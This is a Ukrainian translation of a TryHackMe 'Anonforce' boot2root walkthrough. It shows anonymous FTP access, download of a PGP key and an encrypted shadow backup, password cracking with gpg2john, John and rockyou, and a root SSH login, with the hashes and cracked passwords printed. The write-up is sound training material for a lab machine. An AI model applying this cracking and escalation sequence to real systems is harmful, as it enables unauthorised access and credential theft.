Анофорс -Спроба зламати систему

машина boot2root для FIT та bsides guatemala CTF.

Нам потрібно знайти файли user.txt та root.txt.

Для зручності доступу до машини я призначив домен anon.thm для IP-адреси цільової машини, змінивши файл /etc/hosts. Це налаштування забезпечує, щоб будь-який запит до anon.thm розв'язувався на IP-адресу цілі, не покладаючись на DNS.

Початкова перевірка

Перше, що нам потрібно зробити після запуску машини, це виконати сканування за допомогою Nmap, щоб дізнатися, які сервіси та порти відкриті.

sudo nmap -sCV anon.thm   

Starting Nmap 7.92 ( https://nmap.org ) at 2025-01-01 05:30 EST  
Nmap scan report for anon.thm (10.10.129.163)  
Host is up (0.50s latency).  
Not shown: 998 closed tcp ports (reset)  
PORT STATE SERVICE VERSION  
21/tcp open ftp vsftpd 3.0.3  
| ftp-anon: Anonymous FTP login allowed (FTP code 230)  
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 bin  
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 boot  
| drwxr-xr-x 17 0 0 3700 Jan 01 02:21 dev  
| drwxr-xr-x 85 0 0 4096 Aug 13 2019 etc  
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 home  
| lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic  
| lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic  
| drwxr-xr-x 19 0 0 4096 Aug 11 2019 lib  
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 lib64  
| drwx------ 2 0 0 16384 Aug 11 2019 lost+found  
| drwxr-xr-x 4 0 0 4096 Aug 11 2019 media  
| drwxr-xr-x 2 0 0 4096 Feb 26 2019 mnt  
| drwxrwxrwx 2 1000 1000 4096 Aug 11 2019 notread [NSE: writeable]  
| drwxr-xr-x 2 0 0 4096 Aug 11 2019 opt  
| dr-xr-xr-x 86 0 0 0 Jan 01 02:21 proc  
| drwx------ 3 0 0 4096 Aug 11 2019 root  
| drwxr-xr-x 18 0 0 540 Jan 01 02:21 run  
| drwxr-xr-x 2 0 0 12288 Aug 11 2019 sbin  
| drwxr-xr-x 3 0 0 4096 Aug 11 2019 srv  
| dr-xr-xr-x 13 0 0 0 Jan 01 02:21 sys  
|_Only 20 shown. Use --script-args ftp-anon.maxlist=-1 to see all.  
| ftp-syst:   
| STAT:   
| FTP server status:  
| Connected to ::ffff:10.4.115.120  
| Logged in as ftp  
| TYPE: ASCII  
| No session bandwidth limit  
| Session timeout in seconds is 300  
| Control connection is plain text  
| Data connections will be plain text  
| At session startup, client count was 4  
| vsFTPd 3.0.3 - secure, fast, stable  
|_End of status  
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:   
| 2048 8a:f9:48:3e:11:a1:aa:fc:b7:86:71:d0:2a:f6:24:e7 (RSA)  
| 256 73:5d:de:9a:88:6e:64:7a:e1:87:ec:65:ae:11:93:e3 (ECDSA)  
|_ 256 56:f9:9f:24:f1:52:fc:16:b7:7b:a3:e2:4f:17:b4:ea (ED25519)  
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 28.54 seconds

Здається, відкрито порти 21 і 22. Порт 21 налаштований неправильно, у нас є доступ до файлової системи машини через FTP.

Давайте підключимося до машини через FTP, увійшовши як anonymous, і пошукаємо цікаву інформацію.

ftp anon.thm  

Connected to anon.thm.  
220 (vsFTPd 3.0.3)  
Name (anon.thm:kali): anonymous  
331 Please specify the password.  
Password:   
230 Login successful.  
Remote system type is UNIX.  
Using binary mode to transfer files.  
ftp> ls  
229 Entering Extended Passive Mode (|||53908|)  
150 Here comes the directory listing.  

drwxr-xr-x 2 0 0 4096 Aug 11 2019 bin  
drwxr-xr-x 3 0 0 4096 Aug 11 2019 boot  
drwxr-xr-x 17 0 0 3700 Jan 01 02:21 dev  
drwxr-xr-x 85 0 0 4096 Aug 13 2019 etc  
drwxr-xr-x 3 0 0 4096 Aug 11 2019 home  
lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic  
lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic  
drwxr-xr-x 19 0 0 4096 Aug 11 2019 lib  
drwxr-xr-x 2 0 0 4096 Aug 11 2019 lib64  
drwx------ 2 0 0 16384 Aug 11 2019 lost+found  
drwxr-xr-x 4 0 0 4096 Aug 11 2019 media  
drwxr-xr-x 2 0 0 4096 Feb 26 2019 mnt  
drwxrwxrwx 2 1000 1000 4096 Aug 11 2019 notread  
drwxr-xr-x 2 0 0 4096 Aug 11 2019 opt  
dr-xr-xr-x 83 0 0 0 Jan 01 02:21 proc  
drwx------ 3 0 0 4096 Aug 11 2019 root  
drwxr-xr-x 18 0 0 540 Jan 01 02:21 run  
drwxr-xr-x 2 0 0 12288 Aug 11 2019 sbin  
drwxr-xr-x 3 0 0 4096 Aug 11 2019 srv  
dr-xr-xr-x 13 0 0 0 Jan 01 02:21 sys  
drwxrwxrwt 9 0 0 4096 Jan 01 02:21 tmp  
drwxr-xr-x 10 0 0 4096 Aug 11 2019 usr  
drwxr-xr-x 11 0 0 4096 Aug 11 2019 var  
lrwxrwxrwx 1 0 0 30 Aug 11 2019 vmlinuz -> boot/vmlinuz-4.4.0-157-generic  
lrwxrwxrwx 1 0 0 30 Aug 11 2019 vmlinuz.old -> boot/vmlinuz-4.4.0-142-generic  
226 Directory send OK.  
ftp>

Спершу давайте перейдемо до директорії /home і перевіримо наявність користувачів.

ftp> cd home  
250 Directory successfully changed.  
ftp> ls  
229 Entering Extended Passive Mode (|||54729|)  
150 Here comes the directory listing.  
drwxr-xr-x 4 1000 1000 4096 Aug 11 2019 melodias  
226 Directory send OK.  
ftp> cd melodias  
250 Directory successfully changed.  
ftp> ls  
229 Entering Extended Passive Mode (|||26702|)  
150 Here comes the directory listing.  
-rw-rw-r-- 1 1000 1000 33 Aug 11 2019 user.txt  
226 Directory send OK.  
ftp>

Тут ми знайшли користувача на ім'я melodias, і в його директорії є файл user.txt.

Оскільки ми підключені через FTP, ми не можемо використати команду cat. Тому нам потрібно завантажити файл за допомогою команди get.

ftp> get user.txt  
local: user.txt remote: user.txt  
229 Entering Extended Passive Mode (|||26829|)  
150 Opening BINARY mode data connection for user.txt (33 bytes).  
100% |*************************************************************************************************************************************| 33 3.90 KiB/s 00:00 ETA  
226 Transfer complete.  
33 bytes received in 00:00 (0.06 KiB/s)  
ftp>

Тепер наступне завдання — знайти root.txt.

Ескалація привілеїв

Ми бачимо одну незвичну директорію з дивним розміром порівняно з іншими файлами, це notread.

ftp> ls  
229 Entering Extended Passive Mode (|||58462|)  
150 Here comes the directory listing.  
drwxr-xr-x 2 0 0 4096 Aug 11 2019 bin  
drwxr-xr-x 3 0 0 4096 Aug 11 2019 boot  
drwxr-xr-x 17 0 0 3700 Jan 01 02:21 dev  
drwxr-xr-x 85 0 0 4096 Aug 13 2019 etc  
drwxr-xr-x 3 0 0 4096 Aug 11 2019 home  
lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img -> boot/initrd.img-4.4.0-157-generic  
lrwxrwxrwx 1 0 0 33 Aug 11 2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic  
drwxr-xr-x 19 0 0 4096 Aug 11 2019 lib  
drwxr-xr-x 2 0 0 4096 Aug 11 2019 lib64  
drwx------ 2 0 0 16384 Aug 11 2019 lost+found  
drwxr-xr-x 4 0 0 4096 Aug 11 2019 media  
drwxr-xr-x 2 0 0 4096 Feb 26 2019 mnt  
drwxrwxrwx 2 1000 1000 4096 Aug 11 2019 notread  
drwxr-xr-x 2 0 0 4096 Aug 11 2019 opt  
dr-xr-xr-x 83 0 0 0 Jan 01 02:21 proc  
drwx------ 3 0 0 4096 Aug 11 2019 root  
drwxr-xr-x 18 0 0 540 Jan 01 02:21 run  
drwxr-xr-x 2 0 0 12288 Aug 11 2019 sbin  
drwxr-xr-x 3 0 0 4096 Aug 11 2019 srv  
dr-xr-xr-x 13 0 0 0 Jan 01 02:21 sys  
drwxrwxrwt 9 0 0 4096 Jan 01 02:21 tmp  
drwxr-xr-x 10 0 0 4096 Aug 11 2019 usr  
drwxr-xr-x 11 0 0 4096 Aug 11 2019 var  
lrwxrwxrwx 1 0 0 30 Aug 11 2019 vmlinuz -> boot/vmlinuz-4.4.0-157-generic  
lrwxrwxrwx 1 0 0 30 Aug 11 2019 vmlinuz.old -> boot/vmlinuz-4.4.0-142-generic  
226 Directory send OK.  
ftp> cd notread  
250 Directory successfully changed.  

ftp> ls  
229 Entering Extended Passive Mode (|||20020|)  
150 Here comes the directory listing.  
-rwxrwxrwx 1 1000 1000 524 Aug 11 2019 backup.pgp  
-rwxrwxrwx 1 1000 1000 3762 Aug 11 2019 private.asc  
226 Directory send OK.  
ftp>

В директорії notread є два файли, backup.pgp та private.asc.

Давайте завантажимо їх на наш локальний комп'ютер і подивимося, що в них всередині.

ftp> get backup.pgp  
local: backup.pgp remote: backup.pgp  
229 Entering Extended Passive Mode (|||53159|)  
150 Opening BINARY mode data connection for backup.pgp (524 bytes).  
100% |*************************************************************************************************************************************| 524 11.35 MiB/s 00:00 ETA  
226 Transfer complete.  
524 bytes received in 00:00 (1.10 KiB/s)  
ftp> get private.asc  
local: private.asc remote: private.asc  
229 Entering Extended Passive Mode (|||27131|)  
150 Opening BINARY mode data connection for private.asc (3762 bytes).  
100% |*************************************************************************************************************************************| 3762 1.35 MiB/s 00:00 ETA  
226 Transfer complete.  
3762 bytes received in 00:00 (5.73 KiB/s)  
ftp>

Файл зашифрований, тому ми маємо почати з використання команди gpg, щоб спробувати імпортувати файл private.asc. Але ми не змогли це зробити, оскільки для цього потрібен пароль.

gpg --import private.asc  
gpg: key B92CD1F280AD82C2: "anonforce " not changed  
gpg: key B92CD1F280AD82C2/B92CD1F280AD82C2: error sending to agent: Operation cancelled  
gpg: error reading 'private.asc': Operation cancelled  
gpg: import from 'private.asc' failed: Operation cancelled  
gpg: Total number processed: 0  
gpg: unchanged: 1  
gpg: secret keys read: 1

Ми можемо спробувати створити хеш цього файлу і передати його через John. Спочатку нам потрібно використати gpg2john, щоб перетворити файл у формат, який зрозуміє John.

gpg2john private.asc > hashcrack  

Created directory: /home/kali/.john  

File private.asc

Тепер ми маємо передати створений хеш в John і використати список слів rockyou.txt для зламу пароля.

john hashcrack --wordlist=/usr/share/wordlists/rockyou.txt   
Using default input encoding: UTF-8  
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])  
Cost 1 (s2k-count) is 65536 for all loaded hashes  
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes  
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes  
Will run 2 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
xbox360 (anonforce)   
1g 0:00:00:00 DONE (2025-01-01 06:07) 12.50g/s 11625p/s 11625c/s 11625C/s xbox360..sheena  
Use the "--show" option to display all of the cracked passwords reliably  
Session completed.

Ми отримали пароль. Тепер можемо без проблем імпортувати ключ з файлу private.asc.

gpg backup.pgp   
gpg: WARNING: no command supplied. Trying to guess what you mean ...  

gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences  
gpg: encrypted with 512-bit ELG key, ID AA6268D1E6612967, created 2019-08-12  
 "anonforce "  
┌──(kali㉿kali)-[~]  
└─$ ls  
backup backup.pgp Desktop Documents Downloads hashcrack Music Pictures private.asc Public Templates user.txt Videos
cat backup   
root:$6$07nYFaYf$F4VMaegmz7dKjsTukBLh6cP01iMmL7CiQDt1ycIm6a.bsOIBp0DwXVb9XI2EtULXJzBtaMZMNd2tV4uob5RVM0:18120:0:99999:7:::  
daemon:*:17953:0:99999:7:::  
bin:*:17953:0:99999:7:::  
sys:*:17953:0:99999:7:::  
sync:*:17953:0:99999:7:::  
games:*:17953:0:99999:7:::  
man:*:17953:0:99999:7:::  
lp:*:17953:0:99999:7:::  
mail:*:17953:0:99999:7:::  
news:*:17953:0:99999:7:::  
uucp:*:17953:0:99999:7:::  
proxy:*:17953:0:99999:7:::  
www-data:*:17953:0:99999:7:::  
backup:*:17953:0:99999:7:::  
list:*:17953:0:99999:7:::  
irc:*:17953:0:99999:7:::  
gnats:*:17953:0:99999:7:::  
nobody:*:17953:0:99999:7:::  
systemd-timesync:*:17953:0:99999:7:::  
systemd-network:*:17953:0:99999:7:::  
systemd-resolve:*:17953:0:99999:7:::  
systemd-bus-proxy:*:17953:0:99999:7:::  
syslog:*:17953:0:99999:7:::  
_apt:*:17953:0:99999:7:::  
messagebus:*:18120:0:99999:7:::  
uuidd:*:18120:0:99999:7:::  
melodias:$1$xDhc6S6G$IQHUW5ZtMkBQ5pUMjEQtL1:18120:0:99999:7:::  
sshd:*:18120:0:99999:7:::  
ftp:*:18120:0:99999:7:::

Ми отримали файл backup. З його вмісту можна зробити висновок, що це резервна копія файлу /etc/shadow.

Також у нас є хеш пароля для root. Давайте збережемо цей хеш у файл, а потім запустимо John.

sudo nano file.txt   
┌──(kali㉿kali)-[~]  
└─$ ls  
backup backup.pgp Desktop Documents Downloads file.txt hashcrack Music Pictures private.asc Public Templates user.txt Videos  
┌──(kali㉿kali)-[~]  
└─$ john file.txt --wordlist=/usr/share/wordlists/rockyou.txt   
Using default input encoding: UTF-8  
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])  
Cost 1 (iteration count) is 5000 for all loaded hashes  
Will run 2 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
hikari (?)   
1g 0:00:00:05 DONE (2025-01-01 06:14) 0.1934g/s 1312p/s 1312c/s 1312C/s 98765432..random1  
Use the "--show" option to display all of the cracked passwords reliably  
Session completed.

Ми отримали пароль. Тепер спробуємо увійти в систему як root через SSH.

ssh [email protected]   
The authenticity of host 'anon.thm (10.10.129.163)' can't be established.  
ED25519 key fingerprint is SHA256:+bhLW3R5qYI2SvPQsCWR9ewCoewWWvFfTVFQUAGr+ew.  
This key is not known by any other names  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added 'anon.thm' (ED25519) to the list of known hosts.  
[email protected]'s password:   
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-157-generic x86_64)  

 * Documentation: https://help.ubuntu.com  
 * Management: https://landscape.canonical.com  
 * Support: https://ubuntu.com/advantage  

The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  

root@ubuntu:~# ls  
root.txt  
root@ubuntu:~#

root.txt.

Якщо вам сподобався мій огляд, не забудьте підписатися на мене для отримання нових оновлень. Не забудьте залишити коментар про те, що ви думаєте про цей огляд.

Зв'яжіться зі мною: x.com

Перекладено з: Anonforce -TryHackMe

Leave a Reply

Your email address will not be published. Required fields are marked *